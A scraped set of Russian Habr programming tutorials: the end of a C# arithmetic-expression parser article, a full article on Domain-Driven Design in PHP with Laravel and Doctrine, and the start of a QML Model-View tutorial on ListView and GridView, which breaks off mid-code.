     case '\*': case '/': > >             return 1; > >         case '+': case '-': > >             return 2; > >         default: > >             throw new Exception("недопустимая операция"); > >     } > > } > > > > private static object getToken(string s, ref int pos) > > { > >     readWhiteSpace(s, ref pos); > > > >     if (pos == s.Length) // конец строки > >         return null; > >     if (char.IsDigit(s[pos])) > >         return Convert.ToDouble(readDouble(s, ref pos)); > >     else > >         return readFunction(s, ref pos); > > } > > > > private static char readFunction(string s, ref int pos) > > { > >     // в данном случае все операции состоят из одного символа > >     // но мы можем усложнить код добавив == && || mod div и ещё чегонить > >     return s[pos++]; > > } > > > > private static string readDouble(string s, ref int pos) > > { > >     string res = ""; > >     while (pos < s.Length && (char.IsDigit(s[pos]) || s[pos] == '.')) > >         res += s[pos++]; > > > >     return res; > > } > > > > // Считывает все проблемы и прочие левые символы. > > private static void readWhiteSpace(string s, ref int pos) > > { > >     while (pos < s.Length && char.IsWhiteSpace(s[pos])) > >         pos++; > > } > > > > \* This source code was highlighted with Source Code Highlighter.` Это элементарный пример, который поддерживает всего 4 операции. Но его очень легко дополнить операциями && || ^ & | div mod просто задав им приоритет и написав реализацию. Можно добавить переменные. Этим же алгоритмом можно строить и деревья. При том, деревья будут максимально вычисленные. т.е постоянные ветки (не содержащие переменных) можно будет вычисляться заранее. Очень легко добавляется оператор запятая. (2, 4 + 5, 4) превратится в массив {2, 9, 4} Функции F(x1, x2, …, xn) это унарная операция над массивом {x1, x2, …, xn} *Если пост понравился, в следующем напишу о том, как я делал небольшой функциональный язык и объектно-ориентированный язык.*
https://habr.com/ru/post/50196/
null
ru
null
# Внедрение предметно-ориентированного проектирования в PHP И снова здравствуйте! Что ж очередной «новый» курс, который стартовал в конце декабря, подходит к концу — [«Backend разработчик на PHP»](https://otus.pw/EAx8/). Учли разные мелкие шероховатости и запускаем новый. Осталось только посмотреть на выпуск и всё, поставим очередную галочку. ![](https://habrastorage.org/r/w1560/webt/hp/uk/xr/hpukxrotwxzxnovogo_pazew-3w.png) А счас пока давайте посмотрим на одну интересную статью. Поехали. В этой статье вы узнаете, как использовать PHP для управления следующим DDD-проектом вашей компании и эффективно моделировать реальные ситуации, чтобы помочь определить вашу бизнес-логику. Предметно-ориентированное проектирование (Domain-Driven Design, в дальнейшем — DDD) — это методология разработки программного обеспечения для проектирования сложных программных проектов с целью доставки конечного продукта, который отвечает задачам организации. Фактически, DDD способствует фокусированию проекта на развивающейся базовой модели. DDD научит вас эффективно моделировать реальный мир в вашем приложении и использовать ООП для инкапсуляции бизнес-логики организации. ![](https://habrastorage.org/r/w780q1/webt/c9/kl/bd/c9klbde9pex9uzqnz3kclbzwyzu.jpeg) #### Что такое модель предметной области? На мой взгляд, модель предметной области (Domain Model) — это ваше восприятие контекста, к которому она относится. Попробую объяснить подробнее. «Область» сама по себе означает мир бизнеса, с которым вы работаете, и задачи, которые он предназначен решить. Например, если вы хотите разработать приложение для онлайн-доставки еды, в вашей предметной области все (задачи, бизнес-правила и т. д.) будет об онлайн-доставке еды, что необходимо реализовать в вашем проекте. Модель предметной области — это ваше структурированное решение задачи. Она должна представлять собой словарь и ключевые понятия задач из предметной области. #### Единый язык «Единый язык» («Ubiquitous Language») — это язык, используемый бизнес-специалистами для описания модели предметной области. Это означает, что команда разработчиков последовательно использует этот язык во всех взаимодействиях и в коде. Язык должен основываться на модели области. Позвольте мне привести пример: ``` $product = new Entity\Product(); $product->setTitle(new Title('Mobile Phone')); $product->setPrice(new Price('1000')); $this->em->persist($product); $this->em->flush(); ``` В приведенном выше коде я создаю новый продукт, но в приложении продукт должен быть добавлен, а не создан: ``` //add is a static method in product class $product = Product::add( new Title('Mobile Phone'), new Price('1000') ); ``` Если в команде разработчиков кто-то создает продукт, а кто-то добавляет, это нарушает единый язык. В данном случае, если в методе добавления продукта у нас есть дополнительные действия, такие как отправка электронных писем, все они будут пропущены, а также будет изменено определение добавления продукта в команду. У нас было бы два разных определения для одного термина. #### Многослойная архитектура В этой статье я не собираюсь говорить об объектно-ориентированном проектировании. Но DDD предполагает основы хорошего проектирования. Эрик Эванс (Eric Evans — автор книги “Предметно-ориентированное проектирование (DDD). Структуризация сложных программных систем”) считает, что разработка хорошей модели предметной области — это искусство. Чтобы разработать хорошую модель предметной области, вам нужно знать о разработке, управляемой моделями (Model-Driven Design). Model-Driven Design — объединение модели и реализации. Многослойная архитектура является одним из ее блоков. Многослойная архитектура (Layered Architecture) — это идея изоляции каждой части, основанная на многолетнем опыте и сотрудничестве разработчиков. Слои перечислены ниже: * Пользовательский интерфейс * Уровень приложения * Уровень домена * Уровень инфраструктуры Пользовательский интерфейс отвечает за отображение информации пользователю и интерпретацию его команд. В Laravel отображение представляет собой слой пользовательского интерфейса (презентации). Уровень приложения — это способ общения с внешним миром (вне домена). Этот слой ведет себя как открытый API для нашего приложения. Он не содержит бизнес-правил или знаний. В Laravel контроллеры находятся именно здесь. Уровень домена — это сердце бизнесс-ПО. Этот уровень отвечает за представление концепций бизнеса, информации о бизнес-ситуации и бизнес-правилах. Уровень инфраструктуры предоставляет общие технические возможности, которые поддерживают более высокие уровни, а также поддерживает структуру взаимодействий между четырьмя слоями (вот почему хранилища находятся в этом слое). Связь между слоями является обязательной, но без потери преимуществ разделения. Связь происходит в одном направлении. Как видно из схемы выше, верхние слои могут взаимодействовать с более низкими уровнями. Если нижние слои должны соединяться с верхним слоем, они должны использовать такие шаблоны, как Callback или Observer. #### Объекты-значения и сущности Я большой поклонник объектов-значений (Value Objects). Я думаю, что они — суть ООП. Хотя объекты-значения DDD кажутся простыми, они являются серьезным источником замешательства для многих, включая меня. Я читал и слышал очень много разных способов описания объектов-значений с разных точек зрения. К счастью, каждое из разных объяснений, скорее помогло мне углубить понимание объектов-значений, нежели противоречило друг с другом. Объекты-значения доступны по их значению, а не по идентификатору. Это неизменяемые объекты. Их значения не изменяются (или изменяются, но редко) и не имеют жизненного цикла (это означает, что они не как строки таблиц баз данных, которые можно удалить), например, валюты, даты, страны и т. д. Вы можете создавать объекты-значения, которые вы не распознаете как объекты-значений. Например, адрес электронной почты может быть строкой, или это может быть объект-значение с собственным набором поведений. Код, расположенный ниже, демонстрирует пример класса объекта-значения: ``` final class ImagesTypeValueObject { private $imageType; private $validImageType = ['JPEG', 'GIF', 'BMP', 'TIFF', 'PNG']; public function __construct($imageType) { Assertion::inArray($this->validImageType, $imageType, 'Sorry The entry is wrong please enter valid image type'); $this->imageType = $imageType; } public function __toString() { return $this->imageType; } } ``` Сущности — это объекты, доступные по идентификаторам в нашем приложении. Фактически, сущность представляет собой набор свойств, которые имеют уникальный идентификатор. Хорошим примером может служить ряд таблиц базы данных. Сущность изменчива, потому что она может изменять свои атрибуты (обычно с помощью сеттеров и геттеров), а также имеет жизненный цикл, то есть ее можно удалить. Объект представляет из себя что-то с непрерывностью и идентичностью — что-то, что отслеживается в разных состояниях или даже в разных реализациях? Или это атрибут, описывающий состояние чего-то еще? Это основное различие между сущностью и объектом-значением. #### Агрегаты Модель может содержать большое количество объектов предметной области. Независимо от того, сколько всего мы предусмотрим при моделировании области, часто бывает, что многие объекты зависят друг от друга, создавая набор отношений, и вы не можете быть уверены в результате на 100%. Другими словами, вы должны знать о бизнес-правиле, которое всегда должно соблюдаться в вашей модели предметной области; только с этими знаниями вы можете с уверенностью рассуждать о своем коде. Агрегаты помогают уменьшить количество двунаправленных ассоциаций между объектами в системе, потому что вам разрешено хранить ссылки только на корень. Это значительно упрощает проектирование и уменьшает количество слепых изменений в графе объектов. С другой стороны, агрегаты помогают с развязкой больших структур, устанавливая правила отношений между сущностями. (Примечание: агрегаты также могут иметь свойства, методы и инварианты, которые не вписываются в один класс) Эрик Эванс в своей книге установил некоторые правила для реализации агрегатов, и я перечисляю их ниже: * Корневой объект имеет глобальную идентичность и в конечном счете отвечает за проверку инвариантов. * Корневые объекты имеют глобальную идентичность. Внутренние сущности имеют локальное идентичность, уникальную только внутри агрегата. * Ничто вне границы агрегата не может содержать ссылку на что-либо внутри, кроме корневого объекта. Корневой объект может связывать ссылки с внутренними объектами на другие объекты, но эти объекты могут использовать их только временно и не могут быть привязаны к ссылке. * В качестве следствия вышеприведенного правила, только базовые корни могут быть получены непосредственно с запросами базы данных. Все остальные объекты должны быть найдены путем обхода ассоциаций. * Объекты внутри агрегата могут содержать ссылки на другие совокупные корни. * Операция удаления должна удалять сразу все в пределах общей границы (со сборкой мусора это легко. Поскольку внешних ссылок на что-либо, кроме корня, нет, удалите корень и все остальное будет собрано). * Когда совершено изменение какого-либо объекта на границе агрегата, все инварианты агрегата должны быть удовлетворены. #### Фабрики В мире ООП Фабрика является объектом, который отвечает только за создание других объектов. В DDD фабрики используются для инкапсуляции знаний, необходимых для создания объектов, и они особенно полезны для создания агрегатов. Корень агрегата, который предоставляет метод фабрики для создания экземпляров агрегата другого типа (или внутренних частей), будет нести основную ответственность за обеспечение его основного агрегирующего поведения, и метод фабрики является лишь одним из них. Фабрики также могут обеспечить важный уровень абстракции, который защищает клиента от зависимости от конкретного класса. Бывают случаи, когда фабрика не нужна, и простого конструктора достаточно. Используйте конструктор, когда: * Конструкция не сложная. * Создание объекта не связано с созданием других, и все необходимые атрибуты передаются через конструктор. * Разработчик заинтересован в реализации и, возможно, хочет выбрать стратегию для использования. * Класс — тип. Нет иерархии, поэтому нет необходимости выбирать между списком конкретных реализаций. #### Хранилища Хранилище — это слой, который находится между доменом вашего проекта и базой данных. Мартин Фаулер (Martin Fowler) в своей книге «Шаблоны корпоративных приложений» пишет, что хранилище является промежуточным взаимодействие между доменом и слоем сопоставления данных с использованием интерфейса, подобного коллекции, для доступа к объектам домена. Это означает, что вы должны думать о доступе к данным в своей базе данных так же, как и к стандартным объектам коллекции. Позвольте мне объяснить немного подробнее. Представьте себе, что в DDD вам может понадобиться создать объект либо с помощью конструктора, либо с помощью фабрики; вы должны запросить его из корня агрегата. Проблема в том, что разработчик должен иметь ссылку на корень. Для больших приложений это становится проблемой, потому что необходимо убедиться, что разработчики всегда имеют ссылку на необходимый объект. Это приведет к созданию разработчиками ряда ассоциаций, которые на самом деле не нужны. Другая причина, по которой хранилища имеют большое значение, — это доступ к базе данных. Программист не должен знать детали, необходимые для доступа к ней. Поскольку база данных находится на уровне инфраструктуры, ей приходится иметь дело с большим количеством деталей инфраструктуры, а не с концепциями предметной области. Кроме того, если разработчик запрашивает запуск запроса, это приведет к раскрытию еще большего количества внутренних деталей необходимых запросу. Если у нас нет хранилища, фокус домена будет потерян, а дизайн будет скомпрометирован. Поэтому, если разработчики используют запросы для доступа к данным из БД или вытягивают несколько конкретных объектов, логика домена перемещается в запросы и код разработчика, поэтому агрегаты будут бесполезны. Наконец, хранилище выступает в качестве места хранения для объектов, доступных по всему миру. Хранилище также может включать в себя стратегию. Он может получить доступ к одному постоянному хранилищу или другому, основанному на указанной стратегии. #### Реализация в Laravel Как вы уже могли знать, лучшим выбором для внедрения DDD в PHP является Doctrine ORM. Чтобы реализовать агрегаты и хранилища, нам нужно внести некоторые изменения в наши сущности и создать некоторые файлы на нашем доменном уровне. Я решил реализовать небольшую часть приложения, в котором пользователь может создать страницу или изменить ее. Каждая страница может содержать много комментариев, и каждый комментарий может содержать некоторые под-комментарии. Администраторы могут утверждать/отклонять комментарии после их добавления. В приведенном выше сценарии первым шагом является создание базового хранилища в доменном уровне, базовом хранилище, полученном из Doctrine EntityRepository, который позволит нам иметь все встроенные функции хранилища Doctrine. Здесь мы также можем использовать нашу общую функциональность, и все наши хранилища должны наследоваться от нее. Реализация выглядит следующим образом: ``` namespace App\Domain\Repositories\Database\DoctrineORM; use App\Domain\Events\Doctrine\DoctrineEventSubscriber; use Doctrine\Common\Persistence\Event\LifecycleEventArgs; use Doctrine\ORM\EntityRepository; use Doctrine\ORM\Mapping\ClassMetadata; use Doctrine\ORM\EntityManager; use GeneratedHydrator\Configuration; use Doctrine\Common\Collections\ArrayCollection; abstract class DoctrineBaseRepository extends EntityRepository { public $primaryKeyName; public $entityName = null; public function __construct(EntityManager $em) { parent::__construct($em, new ClassMetadata($this->entityClass)); $this->primaryKeyName = $em->getClassMetadata($this->entityClass)->getSingleIdentifierFieldName(); } } ``` У нас есть два хранилища. Первый — это хранилище страниц, а второй — хранилище комментариев. Все хранилища должны иметь свойство entityClass для определения класса сущности. В этом случае мы можем инкапсулировать (private свойство) объект в наши хранилище: ``` namespace App\Domain\Repositories\Database\DoctrineORM\Page; use App\Domain\User\Core\Model\Entities\Pages; use App\Domain\Repositories\Database\DoctrineORM\DoctrineBaseRepository; class DoctrinePageRepository extends DoctrineBaseRepository { private $entityClass = Pages::class; public function AddComments($pages) { $this->_em->merge($pages); $this->_em->flush(); } } ``` Я использую командную строку Doctrine для генерации сущностей: ``` namespace App\Domain\Interactions\Core\Model\Entities; use App\Domain\User\Comments\Model\Entities\Comments; use Doctrine\Common\Collections\ArrayCollection; use Doctrine\ORM\Mapping as ORM; /** * Pages * * @ORM\Table(name="pages") * @ORM\Entity */ class Pages { /** * @var string * * @ORM\Column(name="page_title", type="string", length=150, nullable=false) */ private $pageTitle; /** * @ORM\OneToMany(targetEntity="App\Domain\User\Comments\Model\Entities\Comments", mappedBy="pageId", indexBy="pageId", cascade={"persist", "remove"}) */ private $pageComment; /** * @var integer * * @ORM\Column(name="page_id", type="integer") * @ORM\Id * @ORM\GeneratedValue(strategy="IDENTITY") */ private $pageId; public function __construct() { $this->pageComment = new ArrayCollection(); } /** * @param Comment * @return void */ public function addComments(Comments $comment) { $this->pageComment[] = $comment; } //... other setters and getters. } namespace App\Domain\User\Comments\Model\Entities; use Doctrine\ORM\Mapping as ORM; /** * Comments * * @ORM\Table(name="comments") * @ORM\Entity */ class Comments { /** * @ORM\ManyToOne(targetEntity="App\Domain\User\Core\Model\Entities\Users") * @ORM\JoinColumn(name="users_user_id", referencedColumnName="id") */ private $usersUserId; /** * @ORM\ManyToOne(targetEntity="comments", inversedBy="children") * @ORM\JoinColumn(name="parent_id", referencedColumnName="comment_id") */ private $parentId; /** * @ORM\ManyToOne(targetEntity="App\Domain\Interactions\Core\Model\Entities\pages", inversedBy="pageComment" ) * @ORM\JoinColumn(name="page_id", referencedColumnName="page_id") */ private $pageId; /** * @ORM\OneToMany(targetEntity="comments", mappedBy="parent") */ private $children; /** * @param Page * @return void */ public function __construct() { $this->children = new\Doctrine\Common\Collections\ArrayCollection(); } } ``` Как вы можете видеть, в приведенном выше коде я определяю отношения в аннотациях объектов. Реализация отношений в Doctrine ORM может показаться очень сложной, но на самом деле это не так сложно, когда вы познакомитесь с тем, как все работает. Единственный способ добавить комментарии — это вызвать addComments объекта page, и этот метод принимает только объект сущности comment в качестве входных данных. Это сделает нас уверенными в функциональности нашего кода. Мой агрегат выглядит так: ``` namespace App\Domain\Comment; use App\Domain\User\Comments\Model\Entities\Comments; use App\Domain\Repositories\Database\DoctrineORM\User\DoctrineCommentRepository; use App\Domain\Repositories\Database\DoctrineORM\Interactions\DoctrinePagesRepository; use Assert\Assertion; class PageAggregate { public $Pages; public $pageResult; public $parentId = null; public $comments; public $DoctrineRepository = DoctrinePagesRepository::class; public function __construct($id, $comments = null, $administrative = null) { $this->DoctrineRepository = \App::make($this->DoctrineRepository); Assertion::notNull($this->pageResult = $this->DoctrineRepository->findOneBy(['pageId' => $id]), 'sorry the valid page id is required here'); $commentFacory = new Commentfactory($this->pageResult, $comments); return $commentFacory->choisir($administrative); } } ``` Нам нужен агрегат, который отвечает за ограничение доступа к комментариям, если PageId валидный; Я имею в виду, что без PageId доступ к comments невозможен. Скажем, comments без действительного page id не имеют смысла и недоступны. Кроме того, существует метод фабрики comment, который помогает нам инкапсулировать бизнес-правила. Метод фабрики: ``` namespace App\Domain\Comment; interface CommentTypeFactoryInterface { public function confectionner(); } namespace App\Domain\Comment; interface CommentFactoryInterface { public function choisir(); } ``` Я определил две фабрики. Первая — тип комментариев, а вторая — интерфейсы комментариев, которые делают ее обязательной для каждого комментария при реализации метода choisir. ``` namespace App\Domain\Comment; use App\Application\Factory\Request\RequestFactory; class Commentfactory implements CommentFactoryInterface { private $page; private $comment; private $parentId; public function __construct($page, $comment = null) { $this->page = $page; $this->comment = $comment; } public function choisir($administrative = null) { // TODO: Implement choisir() method. if (is_null($administrative)) { $comment = new Comment($this->page, $this->comment); return $comment->confectionner(); } $comment = new AdministrativeComments($this->page, $this->comment, $this->parentId); return $comment->confectionner(); } } ``` Метод фабрики Comment предоставляет внутренние части агрегата. ``` namespace App\Domain\Comment; use App\Domain\User\Comments\Model\Entities\Comments; use App\Domain\Repositories\Database\DoctrineORM\User\DoctrineCommentRepository; use App\Domain\Repositories\Database\DoctrineORM\Interactions\DoctrinePagesRepository; use App\Domain\Interactions\Core\Model\Entities\Pages; use App\Application\Factory\Request\RequestFactory; use Assert\Assertion; class Comment implements CommentTypeFactoryInterface { private $page; private $comments; public $DoctrineCommentRepository = DoctrineCommentRepository::class; public $DoctrineRepository = DoctrinePagesRepository::class; public function __construct(Pages $page, $comment) { $this->page = $page; $this->comments = $comment; $this->DoctrineCommentRepository = \App::make($this->DoctrineCommentRepository); $this->DoctrineRepository = \App::make($this->DoctrineRepository); } public function confectionner() { if (is_array($this->comments)) { \Request::replace($this->comments['data']); \App::make(RequestFactory::class); $this->addComments(); } elseif (is_null($this->comments)) { return $this->retrieveComments(); } elseif (is_int($this->comments)) { $this->deleteComment(); } return true; } private function addComments() { if (isset($this->comments['id']) && !is_null($this->comments['object'] = $this->DoctrineCommentRepository->findOneBy(['commentId' => $this->comments['id']]))) { return $this->editComment(); } $this->comments = $this->CommentObjectMapper(new Comments(), $this->comments['data']); $this->page->addComments($this->comments); $this->DoctrineRepository->AddComments($this->page); } private function editComment() { $comment = $this->CommentObjectMapper($this->comments['object'], $this->comments['data']); $this->page->addComments($comment); $this->DoctrineRepository->AddComments($this->page); } private function deleteComment() { $this->DoctrineCommentRepository->delComments($this->comments); } private function retrieveComments() { return $this->page->getPageComment(); } //... } ``` ``` namespace App\Domain\Comment; use App\Domain\Interactions\Core\Model\Entities\Pages; use App\Domain\Repositories\Database\DoctrineORM\User\DoctrineCommentRepository; use App\Domain\Repositories\Database\DoctrineORM\Interactions\DoctrinePagesRepository; use App\Domain\User\Comments; use Assert\Assertion; class AdministrativeComments implements CommentTypeFactoryInterface { private $page; private $comments; private $parentId; private $privilege; public $DoctrineCommentRepository = DoctrineCommentRepository::class; public $DoctrineRepository = DoctrinePagesRepository::class; public function __construct(Pages $page, $comment, $parentId) { $this->page = $page; $this->comments = $comment; $this->parentId = $parentId; $this->privilege = new Athurization(\Auth::gaurd('admin')->user()); } public function confectionner() { $action = $this->comments['action']; Assertion::notNull($this->comments = $this->DoctrineCommentRepository->findOneBy(['commentId' => $this->comments['id']]), 'no Valid comment Id'); $this->$action; return true; } public function approve() { $this->privilege->isAuthorize(__METHOD__); $this->DoctrineCommentRepository->approve($this->comments, \Auth::gaurd('admin')->user()); } public function reject() { $this->privilege->isAuthorize(__METHOD__); $this->DoctrineCommentRepository->reject($this->comments, \Auth::gaurd('admin')->user()); } public function delete() { $this->privilege->isAuthorize(__METHOD__); $this->DoctrineCommentRepository->delete($this->comments, \Auth::gaurd('admin')->user()); } } ``` Как вы видите в приведенном выше коде, у нас есть два класса: Comment и AdministrativeComments. Commentfactory будет решать, какой класс нужно использовать. Некоторые ненужные классы или методы, такие как класс Authorization и метод reject, здесь опущены. Как вы можете видеть в приведенном выше коде, я использую RequestFactory для валидации. Это другой метод фабрики в нашем приложении, который отвечает за проверку входных данных. Этот вид проверки имеет определение в DDD, а также добавлен в laravel 5+. #### Заключение Для покрытия всех этих определений потребуется много статей, но я сделал все возможное, чтобы обобщить их. Это был всего лишь простой пример корня агрегата, но вы можете создать свой собственный сложный агрегат, и я надеюсь, что этот пример поможет вам. THE END Как всегда ждём комментарии, вопросы тут или у нас на [Дне открытых дверей.](https://otus.pw/fsUT/)
https://habr.com/ru/post/353500/
null
ru
null
# Model-View в QML. Часть первая: Представления на основе готовых компонентов В этой части моего цикла статей про Model-View в QML мы начнем рассматривать представления и начнем с тех, которые делаются на основе готовых компонентов. Model-View в QML: 1. [Model-View в QML. Часть нулевая, вводная](http://habrahabr.ru/post/181712/) 2. Model-View в QML. Часть первая: Представления на основе готовых компонентов 3. [Model-View в QML. Часть вторая: Кастомные представления](http://habrahabr.ru/post/190090/) 4. [Model-View в QML. Часть третья: Модели в QML и JavaScript](http://habrahabr.ru/post/195706/) 5. [Model-View в QML. Часть четвертая: C++-модели](https://habrahabr.ru/post/302428/) Представление в MVC обеспечивает отображение данных. Это такая часть программы, которая определяет, как будут выглядеть данные и, в конечном итоге, что увидит пользователь. Я уже говорил, что реализация представления в Qt имеет одну существенную особенность: представление здесь объединено с контролем. Зачем так сделано? В графическом интерфейсе нередко одни и те же элементы отвечают за отображение данных и их изменение. В качестве примера можно вспомнить табличный процессор. Каждая ячейка не только отображает данные но и отвечает за их изменение, а значит выполняет функции не только представления, но и контроля. Так что решение объединить их в одном элементе вполне логичное. Тут напрашивается мысль, что при объединении двух функций в одном элементе мы теряем гибкость и усложняется само представление. На самом деле нет. Для того, чтобы обеспечить возможность кастомизации представления данных и обработки пользовательского ввода вводится понятие делегата. ![](https://habrastorage.org/r/w1560/storage2/871/8d0/070/8718d0070d568d515ca54048ab6dcb28.png) Делегат — это компонент, который отображает данные одного элемента модели и обеспечивает их редактирование. Экземпляры делегата создаются для каждого элемента модели и располагаются в представлении, которое по сути является контейнером. Именно делегат решает, как должны отображаться и редактироваться данные конкретного элемента и это дает нам большие возможности кастомизации. В приведенном выше примере с табличным процессором мы можем достаточно просто сделать так, чтобы данные в каждой ячейке редактировались при помощи спинбокса или выпадающего списка. В QML все точно также за исключением того, что делегат может редактировать данные не для всех моделей (и сама возможность редактирования данных модели не указана в документации). Подводя итог, у представления в QML есть три задачи: 1. создавать экземпляры делегата для каждого элемента в модели; 2. расположить эти элементы требуемым образом; 3. обеспечить навигацию по элементам. ##### 1. ListView Знакомство с представлениями начнем с самого, на мой взгляд, нужного и востребованного представления и на нем же подробно рассмотрим некоторые вещи, характерные для большинства подобных компонентов. Этот компонент дает нам возможность отобразить объекты в виде списка. Вопросы навигации также решены — компонент обрабатывает события от мыши и клавиатуры, позволяя листать элементы жестами используя мышь или сенсорный экран, при помощи скролла мыши, а также с клавиатуры. ###### 1) простые примеры использования У ListView (да и у большинства других представлений) есть понятие текущего элемента. Какой элемент текущий определяется свойством currentIndex и сам текущий элемент доступен через свойство currentItem. Также, у каждого делегата есть присоединенное свойство ListView.isCurrentItem, которое будет иметь значение true, если этот элемент текущий. Это дает нам возможность выделить текущий элемент, чтобы он отображался как-то по-другому. Помимо этого, ListView может само подсветить текущий элемент. Для этого нужно компонент, который будет осуществлять подсветку. В самом простом случае, это будет цветной прямоугольник. При изменении текущего элемента, ListView будет перемещать подсветку (это поведение можно настроить). Рассмотрим все это на простом примере. ``` import QtQuick 2.0 Rectangle { width: 360 height: 360 ListModel { id: dataModel ListElement { color: "orange" text: "first" } ListElement { color: "lightgreen" text: "second" } ListElement { color: "orchid" text: "third" } ListElement { color: "tomato" text: "fourth" } } ListView { id: view anchors.margins: 10 anchors.fill: parent spacing: 10 model: dataModel clip: true highlight: Rectangle { color: "skyblue" } highlightFollowsCurrentItem: true delegate: Item { id: listDelegate property var view: ListView.view property var isCurrent: ListView.isCurrentItem width: view.width height: 40 Rectangle { anchors.margins: 5 anchors.fill: parent radius: height / 2 color: model.color border { color: "black" width: 1 } Text { anchors.centerIn: parent renderType: Text.NativeRendering text: "%1%2".arg(model.text).arg(isCurrent ? " *" : "") } MouseArea { anchors.fill: parent onClicked: view.currentIndex = model.index } } } } } ``` Мы используем присоединенное свойство ListView.isCurrentItem в делегате для определения, является ли этот элемент текущим и в текущем элементе отображаем помимо текста еще звездочку (символ \*). Чтобы по клику мышью на элементе он мог установить себя текущим нам нужен доступ к объекту ListView и мы получаем при помощи свойства ListView.view. Здесь это свойство используется для демонстрации, его не обязательно использовать и можно обращаться к этому объекту напрямую, т.к. этот объект и так находится в области видимости делегата. Но если делегат определен в другом qml-файле, то в области видимости делегата уже не будет объекта ListView и это свойство как раз позволит получить к нему доступ. В качестве подсветки используется простой цветной прямоугольник. Размер его устанавливается ListView и сам его перемещает за текущим элементом. Запустив программу, мы можем менять текущий элемент кликом мыши и видеть, как подсветка перемещается за ним: ![](https://habrastorage.org/r/w1560/storage2/704/4d8/af4/7044d8af485d6d3499f640b2c87d4716.png) Еще один важный момент касательно видимости присоединенных свойств в делегате. В отличие от данных модели, присоединенные свойства действительны только в самом делегате, но не в его дочерних объектах. Т.е. мы не можем использовать ListView.isCurrentItem в элементе Text. Эта особенность может быть неочевидна, учитывая что сами присоединенные свойства в объекте видны и при обращении к ним никаких ошибок не будет. К примеру, можно заменить обработчик на клик в MouseArea на следующий: ``` onClicked: console.log(ListView.isCurrentItem) ``` И на всех элементах он будет выдавать false, даже на текущем. Для доступа из дочерних элементов делегата нужно либо явно указывать область видимости делегата через его id, т.е. listDelegate.ListView.isCurrentItem либо использовать для этого промежуточное свойство, как это сделано в примере при помощи свойства isCurrent. Первый способ хорош тем, что не создается дополнительное свойство. Второй способ стоит использовать, если реализация делегата выносится в отдельный QML-файл. Например, если вынести его в файл ListDelegate.qml, можно написать такой код: ``` ListView { delegate: ListDelegate { isCurrent: ListView.isCurrentItem } } ``` Это позволяет не привязывать реализацию делегата к ListView и поменять отображение (например на Repeater + Column) без изменений в коде делегата. У ListView можно задать дополнительные элементы, которые будут отображаться в начале и в конце всех элементов. Для этого используются свойства header и footer. Дополним предыдущий пример этими элементами: ``` header: Rectangle { width: view.width height: 40 border { color: "black" width: 1 } Text { anchors.centerIn: parent renderType: Text.NativeRendering text: "Header" } } footer: Rectangle { width: view.width height: 40 border { color: "black" width: 1 } Text { anchors.centerIn: parent renderType: Text.NativeRendering text: "Footer" } } ``` В итоге получим примерно такой результат: ![](https://habrastorage.org/r/w1560/storage2/78e/697/d62/78e697d62365c214ad830f882957df5d.png) ###### 2) секции В ListView элементы можно разбить на группы и у каждой группы может быть свой заголовок. Для этого нужно выбрать, какая роль из модели будет использоваться для разбиения на группы и определить делегата для заголовков этих групп. Рассмотрим это на следующем примере. ``` import QtQuick 2.0 Rectangle { width: 360 height: 360 ListModel { id: dataModel ListElement { type: "bird" text: "penguin" } ListElement { type: "bird" text: "raven" } ListElement { type: "reptile" text: "lizard" } ListElement { type: "reptile" text: "turtle" } ListElement { type: "reptile" text: "crocodile" } } ListView { id: view anchors.margins: 10 anchors.fill: parent spacing: 10 model: dataModel clip: true section.property: "type" section.delegate: Rectangle { width: view.width height: 40 color: "lightgreen" Text { anchors.centerIn: parent renderType: Text.NativeRendering font.bold: true text: section } } delegate: Rectangle { width: view.width height: 40 border { color: "black" width: 1 } Text { anchors.centerIn: parent renderType: Text.NativeRendering text: model.text } } } } ``` Мы указываем поле type для разбиения на группы. Соответственно, все элементы с одинаковым значением этого поля объединяются в одну группу. Можно сделать так, чтобы в группу объединялись элементы, у которых первая буква совпадает (например для адресной книги). Для этого свойству section.criteria нужно установить значение ViewSection.FirstCharacter. Запустив программу, мы получим такой результат: ![](https://habrastorage.org/r/w1560/storage2/98f/656/729/98f6567298e3d45ecb01653f7d6bbf59.png) ###### 3) О производительности Стоит отметить, что ListView создает экземпляры делегата не для всех элементов модели, а только для тех, которые видны. При перемещении видимой части (т.е. при листании), ListView их создает на лету, когда они должны попасть в видимую область и удаляет, когда они из этой области должны пропасть. Отсюда следует, что делегаты должны быть как можно более легкими, иначе прокрутка элементов будет тормозить. ListView может создавать элементы не только для той области, которая видна сейчас, а с некоторым запасом. Объекты в этой области создаются асинхронно, чтобы не мешать работе интерфейса. Соответственно, чем больше будет таких элементов, тем меньше вероятность лагов прокрутки, но и потребление памяти растет. Количество таких элементов контролируется специальным параметром — cacheBuffer. Он определяет размер области в пикселях за границей видимой части, для которой будут создаваться объекты. Чтобы понять, сколько будет дополнительно создано объектов, нужно поделить это значение на высоту (или ширину, если ListView имеет горизонтальное расположение), и умножить это значение на два, поскольку таких областей две. Я, поработав некоторое время на пятой версии Qt, как-то собрал и запустил свой проект на четвертой версии. И заметил, что прокрутка элементов ощутимо лагает. Копнув чуть глубже, я заметил, что в Qt 5.0 по умолчанию cacheBuffer имеет значение 320, а в Qt 4.8 — 0. Увеличив размер кэша, прокрутка стала заметно плавнее. Но даже так заметно, что в пятой версии провели хорошую работу по ускорению — по сравнения с четвертой версией, разница видна невооруженным глазом. Размер буфера по умолчанию может быть различным на разных платформах, так что не стоит полагаться на цифры которые я тут указал, я их привел просто для примера. Исходя из вышесказанного, можно сделать два вывода, касательно производительности: * нужно создавать максимально легкие делегаты, с минимальным количеством привязок (особенно это касается сложных JavaScript-выражений в привязках); * если есть проблемы с прокруткой, стоит поэкспериментировать с размером буфера. ##### 2. GridView Этот компонент похож ListView, но позволяет расположить элементы сеткой. Сетка построчно заполняется слева направо (по умолчанию). Соответственно, если элементов будет меньше, в конце будут пустые места. Немного адаптированный для использования GridView первый пример: ``` import QtQuick 2.0 Rectangle { width: 360 height: 360 ListModel { id: dataModel ListElement { color: "orange" text: "first" } ListElement { color: "lightgreen" text: "second" } ListElement { color: "orchid" text: "third" } ListElement { color: "tomato" text: "fourth" } } GridView { id: view anchors.margins: 10 anchors.fill: parent cellHeight: 100 cellWidth: cellHeight model: dataModel clip: true highlight: Rectangle { color: "skyblue" } delegate: Item { property var view: GridView.view property var isCurrent: GridView.isCurrentItem height: view.cellHeight width: view.cellWidth Rectangle { anchors.margins: 5 anchors.fill: parent color: model.color border { color: "black" width: 1 } Text { anchors.centerIn: parent renderType: Text.NativeRendering text: "%1%2".arg(model.text).arg(isCurrent ? " *" : "") } 